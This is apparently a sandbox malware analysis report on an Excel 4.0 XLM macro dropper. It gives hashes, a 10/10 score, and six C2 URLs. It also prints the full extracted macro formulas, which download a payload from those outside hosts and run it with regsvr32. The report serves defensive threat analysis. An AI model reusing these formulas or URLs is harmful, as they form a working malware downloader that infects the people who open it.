General

  • Target

    72faa536da89f8b7fe94d6e6aac4ac56339a070883a4c65c67c4bcfc7622dca4

  • Size

    46KB

  • Sample

    241121-aa7ksaxbjk

  • MD5

    519f11ed171962ba1ec6a99f5e9f1ccf

  • SHA1

    f3df2a98a944d0c2364e9f615fa31c7fca877d13

  • SHA256

    72faa536da89f8b7fe94d6e6aac4ac56339a070883a4c65c67c4bcfc7622dca4

  • SHA512

    c30fd485583121dabfeb9f7a799d549a5ecd1aef4c1ce821b6e8c0aba36d9b694209469e779678a3d0ba15ff50aab2f05ddaf1ec23a20a6715f398ede879d1dc

  • SSDEEP

    768:wwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:BWDzftT5fTR4Lh1NisFYBc3cr+UqVfD9

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://congresoapp2021.com/u07di/wkdehSgS/

http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/

http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/

http://tournhatrang.asia/cgi-bin/2gnqrN/

https://novinex.net/wp-admin/7WlWVE5fQKnZ1/

http://support.techopesolutions.com/gq2z3/31ecS/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://congresoapp2021.com/u07di/wkdehSgS/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tournhatrang.asia/cgi-bin/2gnqrN/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://novinex.net/wp-admin/7WlWVE5fQKnZ1/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/gq2z3/31ecS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://congresoapp2021.com/u07di/wkdehSgS/

xlm40.dropper

http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/

xlm40.dropper

http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/

xlm40.dropper

http://tournhatrang.asia/cgi-bin/2gnqrN/

Targets

    • Target

      72faa536da89f8b7fe94d6e6aac4ac56339a070883a4c65c67c4bcfc7622dca4

    • Size

      46KB

    • MD5

      519f11ed171962ba1ec6a99f5e9f1ccf

    • SHA1

      f3df2a98a944d0c2364e9f615fa31c7fca877d13

    • SHA256

      72faa536da89f8b7fe94d6e6aac4ac56339a070883a4c65c67c4bcfc7622dca4

    • SHA512

      c30fd485583121dabfeb9f7a799d549a5ecd1aef4c1ce821b6e8c0aba36d9b694209469e779678a3d0ba15ff50aab2f05ddaf1ec23a20a6715f398ede879d1dc

    • SSDEEP

      768:wwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:BWDzftT5fTR4Lh1NisFYBc3cr+UqVfD9

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks